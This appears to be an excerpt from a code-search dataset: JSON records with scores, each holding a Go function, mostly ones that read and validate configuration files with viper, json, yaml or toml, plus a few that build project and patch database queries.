os.FileMode(0755))\n\t\tif err != nil {\n\t\t\tglog.Fatal(\"Given output dir does not exist and I cannot create it. (Given output dir was: \", cfg.OutputDir, \")\")\n\t\t}\n\t}\n\n\t// Read configuration from environment (e.g. credentials and stuff)\n\t// Needs to be done, before we start cloning repos etc.\n\tcfg.readEnvironment()\n\n\t// We only clone the src code repo if new don't have a mapping file (-> we need to parse the source code by ourself)\n\tif cfg.Mapping.Local == \"\" {\n\t\tfor x, sc := range cfg.Sourcecode {\n\t\t\t// Check if sourcecode repository is already cloned locally\n\t\t\tif sc.Local != \"\" { // Local path is given...\n\t\t\t\tif Exists(sc.Local) == false { // ...but does not exist\n\t\t\t\t\tsourcecodeRepoURL := GetRepositoryHTTPSUrl(*cfg, sc.Git)\n\t\t\t\t\tglog.Info(\"Cloning sourcecode repository \", sourcecodeRepoURL, \" to \", sc.Local)\n\t\t\t\t\tif IsGitInstalled() == false {\n\t\t\t\t\t\tglog.Fatal(\"You specified a local sourcecode repository, which could not be found. So I tried to clone it, but failed\\n\" +\n\t\t\t\t\t\t\t\" as you don't have a git command line client installed.\\n\" +\n\t\t\t\t\t\t\t\" Please please check the local source code repository path and/or install the git command line client.\")\n\t\t\t\t\t}\n\t\t\t\t\tCloneRepo(*cfg, sourcecodeRepoURL, sc.Local)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif sc.Git.Organization == \"\" {\n\t\t\t\t\tglog.Fatal(\"No mapping file and no sourcecode repository given. Work so I can not!\")\n\t\t\t\t}\n\t\t\t\tif IsGitInstalled() == false {\n\t\t\t\t\tglog.Fatal(\"As you specified remote sourcecode repository, but I cannot find a git command line client.\\n\" +\n\t\t\t\t\t\t\"Please install a git command line client or (if the sourcecode is already cloned locally) set the path to the local sourcecode.\")\n\t\t\t\t}\n\t\t\t\tsourcecodeRepoURL := GetRepositoryHTTPSUrl(*cfg, sc.Git)\n\t\t\t\trepoName := GetRepositoryNameFromURL(sourcecodeRepoURL)\n\t\t\t\tlocalPath := cfg.WorkDir + string(os.PathSeparator) + repoName\n\t\t\t\tglog.Info(\"Cloning sourcecode repository \", sourcecodeRepoURL, \" to \", localPath)\n\t\t\t\tCloneOrPullRepo(*cfg, sourcecodeRepoURL, localPath, true)\n\t\t\t\tcfg.Sourcecode[x].Local = localPath // Set config value\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check if github basedir (and access key) exist\n\tif cfg.Github.BaseURL != \"\" {\n\t\tcfg.Github.BaseURL = strings.Trim(cfg.Github.BaseURL, \"/\")\n\t} else {\n\t\tglog.Warning(\"No GitHub configuration given! Links in generated reports may be broken. Do not use the trceability repository. Other strange things might occur.\")\n\t}\n\n\t// Check traceability repo and its prerequisites\n\tif cfg.TraceabilityRepo.Git.Repository != \"\" {\n\t\t// Check prerequisites\n\t\tif IsGitInstalled() == false {\n\t\t\tglog.Fatal(\"As you specified a traceability repo, you need to have a git command line client installed.\")\n\t\t}\n\n\t\t// Commented out because if there is no access token, git will try to use SSH key (deploy key)\n\t\t// if cfg.Github.Access_token == \"\" {\n\t\t// \tglog.Fatal(\"As you specified a traceability repo, you also need to specify a GitHub access key so that continuous quality metrics can be pushed to GitHub.\")\n\t\t// }\n\t}\n\n\t// Check if mapping file is given and if so, does it exist?\n\tif cfg.Mapping.Local != \"\" {\n\t\tif Exists(cfg.Mapping.Local) == false {\n\t\t\tglog.Fatal(\"Given mapping file does not exist (Given mapping file was: \", cfg.Mapping.Local, \")\")\n\t\t}\n\t}\n\n\t// Check if test reports dirs exists (and that they contain files)\n\tfor _, trPath := range cfg.TestReport {\n\n\t\tif Exists(trPath.Local) == false {\n\t\t\tglog.Fatal(\"Given test report directory does not exist (Given test report directory was: \", trPath.Local)\n\t\t} else {\n\t\t\tfiles, err := ioutil.ReadDir(trPath.Local)\n\t\t\tif err != nil {\n\t\t\t\tglog.Fatal(\"Unable to read test report directory (Given test report directory was: \", trPath.Local)\n\t\t\t}\n\t\t\tif len(files) == 0 {\n\t\t\t\tglog.Fatal(\"Test report directory is empty!? (Given test report directory was: \", trPath.Local)\n\t\t\t}\n\t\t}\n\t}\n\n}", "title": "" }, { "docid": "c189511b499caad2ef0b33de9aa8329f", "score": "0.6533849", "text": "func ReadConfig(n string) {\n\tviper.SetConfigName(n)\n\tviper.AddConfigPath(\"/etc/diskplayer/\")\n\tviper.AddConfigPath(\"$HOME/.config/diskplayer/\")\n\tviper.AddConfigPath(\".\")\n\tviper.SetDefault(\"token.path\", \"token.json\")\n\tviper.SetDefault(\"spotify.callback_url\", \"http://localhost:8080/callback\")\n\tviper.SetDefault(\"recorder.server_port\", \"3000\")\n\terr := viper.ReadInConfig()\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"Fatal error config file: %s \\n\", err))\n\t}\n}", "title": "" }, { "docid": "feaad8383142671b10b3b3a706ef5dda", "score": "0.6525332", "text": "func ReadConfig(filename string, defaults map[string]interface{}) (*viper.Viper, error) {\n\tv := viper.New()\n\tfor key, value := range defaults {\n\t\tv.SetDefault(key, value)\n\t}\n\n\tv.SetConfigName(filename)\n\tv.AddConfigPath(\".\")\n\tv.AutomaticEnv()\n\terr := v.ReadInConfig()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn v, nil\n}", "title": "" }, { "docid": "236ecb8de38569eaea889d9c24b1b366", "score": "0.65219104", "text": "func ReadConfig() *public.Configuration {\n\tconfigPath := path.GetConfigPath()\n\t// if there wasn't config file,create one and write init config\n\tif _, err := os.Stat(configPath); err != nil && !os.IsExist(err) {\n\t\twriteInitConfig(configPath)\n\t}\n\tfile, err := os.Open(configPath)\n\tdefer file.Close()\n\tif err != nil {\n\t\tfmt.Printf(text.OpenConfigError, err)\n\t\tos.Exit(1)\n\t}\n\tdecoder := json.NewDecoder(file)\n\tconf := new(public.Configuration)\n\terr = decoder.Decode(conf)\n\t// decode error\n\tif err != nil {\n\t\tfmt.Printf(text.DecodeConfigError, err)\n\t\tos.Exit(1)\n\t}\n\t// check config\n\tif !output.IsValid(conf) {\n\t\tfmt.Println(text.UnvalidConfigError)\n\t\tos.Exit(1)\n\t}\n\treturn conf\n}", "title": "" }, { "docid": "2a90248eb382f7200346240bdb07f1e3", "score": "0.65214175", "text": "func ReadConfig(cfg *Iter8Config) error {\n\tif err := envconfig.Process(\"\", cfg); err != nil {\n\t\treturn err\n\t}\n\n\tcfg.Analytics.Endpoint = strings.Replace(cfg.Analytics.Endpoint, \"ITER8_NAMESPACE\", cfg.Namespace, 1)\n\n\treturn nil\n}", "title": "" }, { "docid": "0e85f8dbe7d1aa0650265d3d5be702ec", "score": "0.65129507", "text": "func readConfig(configPath string, withContext bool) {\n\t// Using {} -> {} map to allow the recursive function subEnvVars to be less complex\n\t// However, this make validateProps a tiny bit more complex\n\tconfig := &map[interface{}]interface{}{}\n\tif configPath != \"\" {\n\t\tsource, err := ioutil.ReadFile(configPath)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"could not find config file '%s'\\n\", configPath)\n\t\t}\n\n\t\terr = yaml.Unmarshal(source, config)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"invalid syntax in config file '%s': %s\\n\", configPath, err)\n\t\t}\n\t}\n\t// Merge before validation and env substitution since it might not be needed due to context.\n\tif withContext {\n\t\tmergeContext(config)\n\t}\n\tvalidateProps(*config, configPath)\n\terr := subEnvVars(config)\n\tif err != nil {\n\t\tlog.Fatalf(\"bad substitution in '%s': %s\\n\", configPath, err)\n\t}\n\tconfigBytes, err := yaml.Marshal(config)\n\tif err != nil {\n\t\tlog.Fatalf(\"unexpected error after parsing config: %s\\n\", err)\n\t}\n\tviper.SetConfigType(\"yaml\")\n\terr = viper.ReadConfig(bytes.NewBuffer(configBytes))\n\tif err != nil {\n\t\tlog.Fatalf(\"unexpected error after parseing config: %s\\n\", err)\n\t}\n}", "title": "" }, { "docid": "636417a6cf14bdb9d8e15d360aaa6c2e", "score": "0.65081555", "text": "func (h *ConfigHandler) ReadConfig(w http.ResponseWriter, r *http.Request) {\n\tbody := &readRequest{}\n\tif err := request.Decode(r, body); err != nil {\n\t\tresponse.WriteJSON(w, err)\n\t\treturn\n\t}\n\n\tconfig, err := h.Config.Get(body.ServiceName)\n\tif err != nil {\n\t\tresponse.WriteJSON(w, err)\n\t\treturn\n\t}\n\n\tresponse.WriteJSON(w, config)\n}", "title": "" }, { "docid": "a14f3ad5b9d711d7cef227696d60ae94", "score": "0.64991397", "text": "func ReadConfig() (err error) {\n\tif info.Name, err = core.Config.GetString(\"database\", \"dbname\"); err != nil {\n\t\treturn fmt.Errorf(\"Unable to get DBName from config: %s\", err)\n\t}\n\tif info.Username, err = core.Config.GetString(\"database\", \"dbuser\"); err != nil {\n\t\treturn fmt.Errorf(\"Unable to get DBUser from database config: %s\", err)\n\t}\n\tif info.Password, err = core.Config.GetString(\"database\", \"dbpass\"); err != nil {\n\t\treturn fmt.Errorf(\"Unable to get DBPass from database config: %s\", err)\n\t}\n\tif info.Host, err = core.Config.GetString(\"database\", \"dbhost\"); err != nil {\n\t\treturn fmt.Errorf(\"Unable to get DBHost from database config: %s\", err)\n\t}\n\tif info.Port, err = core.Config.GetString(\"database\", \"dbport\"); err != nil {\n\t\treturn fmt.Errorf(\"Unable to get DBPort from database config: %s\", err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "7cc8e9e0a5a936e224695056bafdd3ed", "score": "0.6493256", "text": "func (c *Cli) readConfigFile(file string) (*options.Config, error) {\n\tvar data *options.Config\n\n\tbytes_data, err := ioutil.ReadFile(file)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif err := json.Unmarshal(bytes_data, &data); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn c.resolveEnvFileOptions(data), nil\n}", "title": "" }, { "docid": "f7cde9dd0d8b8ae27e5323a824572f58", "score": "0.648537", "text": "func (c *Config) ReadFromFile(filename string) error {\n\tfile, err := os.Open(filename)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer file.Close()\n\n\tbyteValue, err := ioutil.ReadAll(file)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = json.Unmarshal(byteValue, &c)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "0c8e4eacbb104c361f404b1f86885074", "score": "0.64831644", "text": "func ReadConfig(config string) map[string]interface{} {\n\tcropConfigPath := filepath.Join(ConfigFolder(), config)\n\tcropConfigFile, err := os.Open(cropConfigPath)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer cropConfigFile.Close()\n\n\tbyteValue, _ := ioutil.ReadAll(cropConfigFile)\n\tvar result map[string]interface{}\n\tjson.Unmarshal([]byte(byteValue), &result)\n\treturn result\n}", "title": "" }, { "docid": "1a8cf4d6232eec528b6028ec574e39c7", "score": "0.6472486", "text": "func ReadConfig(fileName string, env string) {\n\tyamlFile, err := ioutil.ReadFile(fileName)\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t\treturn\n\t}\n\n\tenvParams := make(map[string]paramsType)\n\terr = yaml.Unmarshal(yamlFile, &envParams)\n\tif err != nil {\n\t\tlog.Println(\"Signature ReadConfig() error:\", err)\n\t}\n\tparams = envParams[env]\n\n\tloadPrivateKeyFromFile()\n\tloadPublicKeyFromFile()\n}", "title": "" }, { "docid": "4107cf526561e3cb85ee8ea90b273cbe", "score": "0.6462903", "text": "func (rm *RemoteMachines) ReadConfigFile(basePath, fileName string) error {\n\tfile, err := ioutil.ReadFile(filepath.Join(basePath, fileName))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := json.Unmarshal(file, &rm); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "b961d3525ce045b70b6738e7d2ebf3ba", "score": "0.6460807", "text": "func ReadConfig() *Config {\n\tvar conf Config\n\tfile, err := os.Open(\"config.json\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer file.Close()\n\tjsonBytes, err := ioutil.ReadAll(file)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tjson.Unmarshal(jsonBytes, &conf)\n\n\tmaxVFile, err := os.Open(\"prepared data/max_value_\" + conf.DataSize + \".json\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer maxVFile.Close()\n\tjsonBytes, err = ioutil.ReadAll(maxVFile)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tjson.Unmarshal(jsonBytes, &conf.MaxValue)\n\treturn &conf\n}", "title": "" }, { "docid": "4e761126dd7697da8847f1ed5d75ba96", "score": "0.6458771", "text": "func ReadAPPConfig() {\n\t//\tPrintToLog(\"Start reading application config file\")\n\tfilename := \"../conf/application.json\"\n\tplan, _ := ioutil.ReadFile(filename)\n\tplan = bytes.TrimPrefix(plan, []byte(\"\\xef\\xbb\\xbf\")) // Or []byte{239, 187, 191}\n\terr := json.Unmarshal(plan, &AppConfigO)\n\tif err != nil {\n\t\terrString := `Error configuration.go ReadAPPConfig()` + err.Error()\n\t\twriteFatalToLogFile(errString)\n\t\tfmt.Println(errString)\n\n\t} else {\n\t\tPrintlnToLogFile(\"Application config readed successfully\")\n\t}\n}", "title": "" }, { "docid": "ae2816d8f17ed577580c46ef5ec63d4d", "score": "0.64459187", "text": "func readConfig(path string) Meta {\n\tfile, e := ioutil.ReadFile(path)\n\tif e != nil {\n\t\tglog.Errorf(\"File error: %v\\n\", e)\n\t\tos.Exit(1)\n\t}\n\tvar metaData Meta\n\tjson.Unmarshal(file, &metaData)\n\tglog.V(4).Infof(\"Results: %v\\n\", metaData)\n\treturn metaData\n}", "title": "" }, { "docid": "d593213b76902ea8e177971f51c89fe0", "score": "0.64338523", "text": "func readConfig(path string, pidFile string) error {\n\n\tif _, err := d.LoadConfig(path); err != nil {\n\t\treturn err\n\t}\n\n\t// override config pidFile with with flag from the command line\n\tif len(pidFile) > 0 {\n\t\td.Config.PidFile = pidFile\n\t} else if len(d.Config.PidFile) == 0 {\n\t\td.Config.PidFile = defaultPidFile\n\t}\n\n\tif len(d.Config.AllowedHosts) == 0 {\n\t\treturn errors.New(\"Empty `allowed_hosts` is not allowed\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "92dcaf8a965def154cd72031b8b04c8b", "score": "0.6415463", "text": "func ReadConfig(cmd *cobra.Command, args []string) {\n\terr := viper.ReadInConfig()\n\n\t// If no config is found, we will attempt to make one\n\tif _, ok := err.(viper.ConfigFileNotFoundError); ok {\n\t\t// No config found? We will write the default config for the user\n\t\t// If the custom config path is set, then we should not write a new config.\n\t\tif custom, _ := cmd.Flags().GetString(\"config\"); custom == \"\" {\n\t\t\thome, err := os.UserHomeDir()\n\t\t\tif err != nil {\n\t\t\t\tlog.WithError(err).Fatal(\"failed to create config path\")\n\t\t\t}\n\n\t\t\t// Create the pegnetd directory if it is not already\n\t\t\terr = os.MkdirAll(filepath.Join(home, \".pegnetd\"), 0777)\n\t\t\tif err != nil {\n\t\t\t\tlog.WithError(err).Fatal(\"failed to create config path\")\n\t\t\t}\n\n\t\t\tconfigpath := filepath.Join(home, \".pegnetd\", \"pegnetd-conf.toml\")\n\t\t\t_, err = os.Stat(configpath)\n\t\t\tif os.IsExist(err) { // Double check a file does not already exist. Don't overwrite a config\n\t\t\t\tlog.WithField(\"path\", configpath).Fatal(\"config exists, but unable to read\")\n\t\t\t}\n\n\t\t\t// Attempt to write a new config file\n\t\t\terr = viper.WriteConfigAs(configpath)\n\t\t\tif err != nil {\n\t\t\t\tlog.WithField(\"path\", configpath).WithError(err).Fatal(\"failed to create config\")\n\t\t\t}\n\t\t\t// Inform the user we made a config\n\t\t\tlog.WithField(\"path\", configpath).Infof(\"no config file, one was created\")\n\n\t\t\t// Try to read it again\n\t\t\terr = viper.ReadInConfig()\n\t\t\tif err != nil {\n\t\t\t\tlog.WithError(err).Fatal(\"failed to load config\")\n\t\t\t}\n\t\t}\n\t} else if err != nil {\n\t\tlog.WithError(err).Fatal(\"failed to load config\")\n\t}\n\n\t// Indicate which config was used\n\tlog.Infof(\"Using config from %s\", viper.ConfigFileUsed())\n\n\tinitLogger()\n}", "title": "" }, { "docid": "ec9217844e63cf39285f21f93f74191c", "score": "0.6414308", "text": "func ReadConfig(filename string) (*viper.Viper, error) {\n\tv := viper.New()\n\tv.SetConfigName(filename)\n\tv.AddConfigPath(\"/opt/scripts/config\")\n\tv.AutomaticEnv()\n\terr := v.ReadInConfig()\n\treturn v, err\n}", "title": "" }, { "docid": "e1356c4ca9aa18558a15111de6d904e0", "score": "0.6406378", "text": "func ReadConfigFile() ( CfgData,error ) {\n cfgData := CfgData{}\n configFile, err := os.Open(\"./config.json\")\n\n\t// if we os.Open returns an error then handle it\n\tif err != nil {\n\t\tlog.Printf(\"Error al abrir config.json, Error : %s\", err.Error())\n\t\treturn cfgData, err\n\t} \n\n\tdefer configFile.Close()\n\n\tdata, err := ioutil.ReadAll(configFile)\n\tif err != nil {\n\t\tlog.Printf(\"Error al leer datos de config.json : Error %s\", err.Error())\n\t\treturn cfgData ,err\n\t}\n\n\t// unmarshall it\n\terr = json.Unmarshal(data, &cfgData)\n\tif err != nil {\n\t\tlog.Printf(\"Error al procesar datos de config.json, Error : %s\", err.Error())\n\t\treturn cfgData, err\n }\n \n return cfgData, nil\n\n}", "title": "" }, { "docid": "4adbd552cb1a9e68b8e99b10f3e8d7fd", "score": "0.64014524", "text": "func ReadConfig(filename string) (*api.Config, error) {\n\tdata, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"Error reading file %q\", filename)\n\t}\n\n\t// decode config, empty if no bytes\n\tconfig, err := decode(data)\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"could not read config: %v\", err)\n\t}\n\n\t// initialize nil maps\n\tif config.AuthInfos == nil {\n\t\tconfig.AuthInfos = map[string]*api.AuthInfo{}\n\t}\n\tif config.Clusters == nil {\n\t\tconfig.Clusters = map[string]*api.Cluster{}\n\t}\n\tif config.Contexts == nil {\n\t\tconfig.Contexts = map[string]*api.Context{}\n\t}\n\n\treturn config, nil\n}", "title": "" }, { "docid": "c2192317955a9254f42f74a2df334d0b", "score": "0.6398105", "text": "func (c *ExternalConfig) Read(name string) error {\n\tp, err := homedir.Expand(name)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could not expand %s: %s\", name, err)\n\t}\n\tf, err := os.Open(p)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could not open %s: %s\", name, err)\n\t}\n\tdefer f.Close()\n\td := yaml.NewDecoder(f)\n\tif err := d.Decode(&c); err != nil {\n\t\treturn fmt.Errorf(\"Could not read YAML: %s\", err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "33b39dcac0b7e46a948867731e06b064", "score": "0.63968545", "text": "func ReadConfig(configFile string) (config *Config) {\n\n\tif _, err := toml.DecodeFile(configFile, &config); err != nil {\n\t\tlog.Fatal(\"Unable to parse config file\")\n\t}\n\n\tif len(config.Server.Listen) == 0 {\n\t\tconfig.Server.Listen = \":443\"\n\t}\n\n\treturn config\n}", "title": "" }, { "docid": "284edb830688e62be3e0453c1a7e0778", "score": "0.638655", "text": "func Readconf(configFileName string) (Configuration, error) {\n\tconfiguration := Configuration{}\n\tif _, err := os.Stat(configFileName); err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\treturn configuration, fmt.Errorf(\"Readconf(): config file does not exist!\")\n\t\t}\n\t}\n\tfile, _ := os.Open(configFileName)\n\tdecoder := json.NewDecoder(file)\n\terr := decoder.Decode(&configuration)\n\tif err != nil {\n\t\treturn configuration, fmt.Errorf(\"Readconf(): config file error!\", err)\n\t}\n\treturn configuration, nil\n}", "title": "" }, { "docid": "dc0ae7c9d3e4509e3b6f47d35439da92", "score": "0.6385699", "text": "func ReadConfig(path string, v interface{}) error {\n\t_, err := toml.DecodeFile(path, v)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "babbef4f8e587da7e9990a91db06bbeb", "score": "0.63788795", "text": "func ReadConfig(configPath string, result interface{}) error {\n\tconfigFilePath, err := getConfigFilePath()\n\tif err != nil {\n\t\treturn nil\n\t}\n\tlog.Debugf(\"Loading the config object '%s' from '%s'\", configPath, configFilePath)\n\n\t// Looking for the key of configuration in the config\n\tlog.Tracef(\"The keys in the config: %v\", viper.AllKeys())\n\tcontainsKey := false\n\tfor _, fullKey := range viper.AllKeys() {\n\t\tif funk.Contains(fullKey, configPath) {\n\t\t\tcontainsKey = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// Verify if the key exists in the\n\tif !containsKey {\n\t\tlog.Debugf(\"The config file does NOT contain the key '%s'\", configPath)\n\t\treturn nil\n\t}\n\n\t// Load the MAP from viper config, just have the map\n\tconfigMap := viper.Get(configPath)\n\tlog.Tracef(\"The loaded map is %v\", configMap)\n\n\tif err := fromMapToStruct(configPath, configMap, result); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e570c5725e6198e9602f5c5826fc3246", "score": "0.6372679", "text": "func (c *Configuration) Read(file io.Reader) error {\n\tjson.NewDecoder(file).Decode(&c)\n\treturn nil\n}", "title": "" }, { "docid": "f096f0ebae48aa5bfcf5d06636404518", "score": "0.63690317", "text": "func Read(path string) (cfg Settings) {\n\tviper.SetConfigName(\"config\")\n\tviper.SetConfigType(\"yaml\")\n\tviper.AddConfigPath(\".\")\n\tviper.AddConfigPath(path)\n\n\tviper.SetEnvPrefix(\"ma\")\n\tviper.SetEnvKeyReplacer(strings.NewReplacer(\".\", \"_\"))\n\tviper.AutomaticEnv()\n\n\terr := viper.ReadInConfig()\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"error on reading config: %s\", err))\n\t}\n\n\terr = viper.Unmarshal(&cfg)\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"error on unmarshaling config: %s\", err))\n\t}\n\n\treturn cfg\n}", "title": "" }, { "docid": "ffe643c5be8d3a274d18f67f1ba4b6ec", "score": "0.63685584", "text": "func (c *Config) ReadFromFile(path string) error {\n\t_, err := os.Stat(path)\n\tif !os.IsNotExist(err) {\n\t\tb, err := ioutil.ReadFile(path)\n\t\tif err == nil {\n\t\t\terr = json.Unmarshal(b, &c)\n\t\t}\n\t}\n\tc.setDefaults()\n\treturn err\n}", "title": "" }, { "docid": "749fa476d2b9c62c89331b25dd3e8e2f", "score": "0.63655573", "text": "func loadConfig(filename string) map[string]interface{} {\n\tvar result map[string]interface{}\n\tjsonData, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn result\n\t}\n\terr = json.Unmarshal(jsonData, &result)\n\tif err != nil {\n\t\tlog.Fatalf(\"Error in %v:\\n%v\", filename, err.Error())\n\t}\n\n\treturn result\n}", "title": "" }, { "docid": "e314f81422519a6ae7c9dfca96cee887", "score": "0.6355668", "text": "func readConfig(configFile string) ([]byte, error) {\n\tdata, err := ioutil.ReadFile(configFile)\n\tif err != nil {\n\t\treturn nil, ErrFailedToReadFile\n\t}\n\treturn data, nil\n}", "title": "" }, { "docid": "71d407da4b91591d7538625738cf1aa5", "score": "0.6350386", "text": "func Load(cfg interface{}, source io.Reader) error {\n\tdecoder := json.NewDecoder(source)\n\terr := decoder.Decode(&cfg)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn overrideConfigWithEnvVars(cfg)\n}", "title": "" }, { "docid": "7d4175797f6ab83b42113cd3a3470fca", "score": "0.6347044", "text": "func (config *Config) UpdateWithJSONFile(fileName string) error {\n\tlog.Debug(\"read config from %s..\", fileName)\n\tb, err := ioutil.ReadFile(fileName)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = json.Unmarshal(b, config)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn err\n}", "title": "" }, { "docid": "52a6318df63bdc8a9090ca60a6e8777f", "score": "0.6340779", "text": "func ReadConfig(ingConfig *IngressConfig, config *v1.ConfigMap) {\n\tingConfig.ExtraConfig = config.Data[NghttpxExtraConfigKey]\n\tif mrubyFileContent, ok := config.Data[NghttpxMrubyFileContentKey]; ok {\n\t\tb := []byte(mrubyFileContent)\n\t\tingConfig.MrubyFile = &ChecksumFile{\n\t\t\tPath: NghttpxMrubyRbPath(ingConfig.ConfDir),\n\t\t\tContent: b,\n\t\t\tChecksum: Checksum(b),\n\t\t}\n\t}\n}", "title": "" }, { "docid": "36469f99675f76e7865e62da52b17fb4", "score": "0.6338144", "text": "func ReadConfig(configFile string) (Config, error) {\n\tvar config Config\n\n\tconfigFile = getConfigfile(configFile)\n\tif _, err := os.Stat(configFile); err != nil {\n\t\treturn config, fmt.Errorf(\"Config file is missing: %s\", configFile)\n\t}\n\n\tif _, err := toml.DecodeFile(configFile, &config); err != nil {\n\t\treturn config, err\n\t}\n\n\treturn config, nil\n}", "title": "" }, { "docid": "b95fe71833e41acf72e7850caa3d3ce9", "score": "0.6334859", "text": "func (migrationData *MigrationData) ReadTagConfig(filename string) error {\n\traw, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\tfmt.Println(err.Error())\n\t\tos.Exit(1)\n\t}\n\treturn json.Unmarshal(raw, &migrationData.tagConfigs)\n}", "title": "" }, { "docid": "14d1ccfd5a6e8cfbecc35c140974b525", "score": "0.6334605", "text": "func ReadConfig(cfgFn, HostName string) (cfg ConfigType) {\n\tmdata := make(map[string]string)\n\tmdata[\"hostname\"] = HostName\n\tfn := sizlib.Qt(cfgFn, mdata)\n\tfmt.Printf(\"Configuration File Used : %s\\n\", fn)\n\ts, err := ioutil.ReadFile(fn)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"Fatal! Unable to read configuration file %s, error=%s\\n\", cfgFn, err)\n\t\tos.Exit(1)\n\t}\n\tcfg.Default.MaxListSize = 50000\n\tcfg.Default.BackupLocalFile = \"./backup.log\"\n\tcfg.Default.Key = \"log:\"\n\tcfg.RedisConnect.RedisHost = \"127.0.0.1\"\n\tcfg.RedisConnect.RedisPort = \"6379\"\n\terr = json.Unmarshal(s, &cfg)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"Fatal! Unable to unmarshal/parse configuration file %s, error=%s\\n\", cfgFn, err)\n\t\tos.Exit(1)\n\t}\n\treturn\n}", "title": "" } ]
ece911548a924b985486619494259fa8
PatchesByProject builds a query for patches that match the given project's id.
[ { "docid": "57378c02bdc671800fcc2147835c849d", "score": "0.6652052", "text": "func PatchesByProject(projectId string, ts time.Time, limit int) db.Q {\n\treturn db.Query(bson.M{\n\t\tCreateTimeKey: bson.M{\"$lte\": ts},\n\t\tProjectKey: projectId,\n\t}).Sort([]string{\"-\" + CreateTimeKey}).Limit(limit)\n}", "title": "" } ]
[ { "docid": "6415cc26a4af227d9a69fa1c2bae774b", "score": "0.5160862", "text": "func (o *PatchAddonParams) WithProjectID(projectID string) *PatchAddonParams {\n\to.SetProjectID(projectID)\n\treturn o\n}", "title": "" }, { "docid": "b06cfd196d517eae86c9f7b6fa6617ab", "score": "0.51464397", "text": "func ListByProjectID(c *gin.Context) {\n\tvar (\n\t\tp listEnvironmentsByProjectID\n\t)\n\tid := c.Params.ByName(\"projectId\")\n\tif id == \"\" {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\"error\": \"projectId is missing in uri\"})\n\t\treturn\n\t}\n\tvID, err := strconv.Atoi(id)\n\tif err != nil {\n\t\tlog.Error().Err(err).Msg(\"Error occured while converting string to int\")\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\"error\": \"Internal Server Error\"})\n\t\treturn\n\t}\n\n\tp.ProjectID = vID\n\tresult, err := p.listByProjectID()\n\tif err != nil {\n\t\tlog.Error().Err(err).Msg(\"Error occured while performing db query\")\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\"error\": \"Internal Server Error\"})\n\t\treturn\n\t}\n\n\tif len(result) == 0 {\n\t\tc.AbortWithStatus(404)\n\t} else {\n\t\tc.JSON(http.StatusOK, result)\n\t}\n}", "title": "" }, { "docid": "9cd906ca9024cbfe0a8f17613814446c", "score": "0.51059186", "text": "func MostRecentPatchByUserAndProject(user, project string) db.Q {\n\treturn db.Query(bson.M{\n\t\tAuthorKey: user,\n\t\tProjectKey: project,\n\t\tActivatedKey: true,\n\t\tAliasKey: bson.M{\"$nin\": []string{evergreen.GithubPRAlias, evergreen.CommitQueueAlias}},\n\t}).Sort([]string{\"-\" + CreateTimeKey}).Limit(1)\n}", "title": "" }, { "docid": "08e7b2e3be307fdf3f63070552a94c3c", "score": "0.5007026", "text": "func (o *GetPointsByQueryParams) WithProject(project string) *GetPointsByQueryParams {\n\to.SetProject(project)\n\treturn o\n}", "title": "" }, { "docid": "f3114ebea8b204accf688041ba5d97ce", "score": "0.493651", "text": "func (a *FormsApiService) PATCHProjectsApiV3FormsformIdJson(ctx _context.Context, formId int32) ApiPATCHProjectsApiV3FormsformIdJsonRequest {\n\treturn ApiPATCHProjectsApiV3FormsformIdJsonRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t\tformId: formId,\n\t}\n}", "title": "" }, { "docid": "c9d9ab2e7dff587229f2144be389ba18", "score": "0.48626134", "text": "func ParserProjectById(id string) db.Q {\n\treturn db.Query(bson.M{ParserProjectIdKey: id})\n}", "title": "" }, { "docid": "addf903885e9741f561761de8dfca0fb", "score": "0.4739949", "text": "func ByProjectAndCommitQueue(project string, filterCommitQueue bool) db.Q {\n\tq := bson.M{ProjectKey: project}\n\tif filterCommitQueue {\n\t\tq[AliasKey] = commitQueueFilter\n\t}\n\treturn db.Query(q)\n}", "title": "" }, { "docid": "8784e777d2e06e1a83a43a8528730d78", "score": "0.46861544", "text": "func 